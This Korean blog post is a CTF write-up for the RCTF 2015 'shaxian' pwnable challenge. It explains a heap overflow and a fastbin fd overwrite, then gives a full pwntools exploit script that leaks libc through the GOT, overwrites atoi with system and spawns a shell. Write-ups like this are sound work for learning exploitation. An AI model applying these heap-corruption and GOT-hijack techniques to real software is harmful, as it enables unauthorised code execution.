ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RCTF 2015 SHAXPIAN
    Pwnable/CTF 2017. 11. 4. 21:20


    첫 번째 메뉴 함수 사진이다.

    여기서 보면 마지막 heap이 저장되어있는 포인터를 가지고와서 새롭게 할당되는 heap + 36에 이전 청크의 힙을 넣고 0x0804b1c0 포인터에 자기자신을 넣는다.(최신 청크니깐) 그 중간에 입력받는데 40만큼 할당하고 60만큼 입력받으면서 오버플로우가 일어난다.





    처음 들어올때 입력받는 부분인데 0x0804b0c0(phone number) 0x0804b1c0(heap pointer) 0x0804b1e0(address) 순으로 전역변수가 선언되어있는데 우리는 이전 청크 pointer를 덮을 수 있고 heap pointer 가까이에 접근이 가능하다 그 뜻은 pointer 부분 이전에 phone_number 부분에 페이크 청크를 만들고 다음 청크 fd부분을 조작하고(fastbin fd overwrite) heap pointer를 조작하면 쉘을 딸수있다.


    1번 메뉴 사진에서 할당을하고 +36에 주소값을 넣고 heap pointer에 데이터를 입력받고 int형으로 입력을 받는다.

    그 중간에 포인터를 조작하면 그 조작된 부분에 int형으로 입력할수있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    from pwn import *
     
    p=process("./shaxian")
    elf=ELF("./shaxian")
     
    def add_number(address,number):
        p.recvuntil(':')
        p.sendline(address)
        p.recvuntil(':')
        p.sendline(number)
     
    def DIAN_CAI(shen,many):
        p.recvuntil(':')
        p.sendline("1")
        p.recvuntil('iao')
        p.sendline(shen)
        p.recvuntil('?')
        p.sendline(str(many))
     
    def submit():
        p.recvuntil(':')
        p.sendline("2")
     
    def receipt(RECEIPT):
        p.recvuntil(':')
        p.sendline("3")
        p.recvuntil(':')
        p.sendline(RECEIPT)
     
    def review():
        p.recvuntil(':')
        p.sendline("4")
     
    prev = 0x0804b1b0
     
    add_number("/bin/sh\00","D"*240+p32(0)+p32(0x31))
    DIAN_CAI("A"*24,24)
    DIAN_CAI("B"*24,24)
    submit()
    review()
    print p.recvuntil("A"*24+" * ")
    heap = p.recv(9)
    heap = int(heap)
    heap = hex(heap)
    heap = int(heap,16)
    heap_1 = heap - 0x30
    print hex(heap)
    print hex(heap_1)
     
    DIAN_CAI("A"*32+p32(elf.got['malloc']),40)
    review()
    p.recvuntil('40\n')
    puts = u32(p.recv(4))
    libc_base = puts - 0x5fca0
    system = libc_base + 0x3ada0
    print hex(puts)
    print hex(libc_base)
    print hex(system)
     
    DIAN_CAI("B"*32+p32(0),38)
    DIAN_CAI("C"*32+p32(heap+0x8),38)
    DIAN_CAI("D"*31,40)
     
    submit()
     
    DIAN_CAI("B"*32+p32(0)+p32(0)+p32(0x31)+p32(prev),50)
    DIAN_CAI("C"*32+p32(prev+0x8),36)
    print hex(prev)
     
    payload = "Z"*4
    payload += p32(elf.got['atoi'])
     
    max_hex = 0xffffffff
     
     
     
    payload2 = max_hex - system
    payload2 = (0 - payload2) - 1
    print hex(elf.got['atoi'])
    print puts
    print int(payload2)
    DIAN_CAI(payload,str(payload2))
     
    p.recv(1024)
    p.sendline("1")
    p.recv(1024)
    p.sendline("2")
     
    p.interactive()
     
    cs



    'Pwnable > CTF' 카테고리의 다른 글

    RCTF 2017 RNOTE  (0) 2017.11.08
    RCTF 2017 AirCraft  (0) 2017.11.08
    RCTF 2015 welpwn  (0) 2017.11.04
    Belluminar 2016 remuheap  (0) 2017.10.19
    31c3ctf 2014 mynx  (1) 2017.10.09
Designed by Tistory.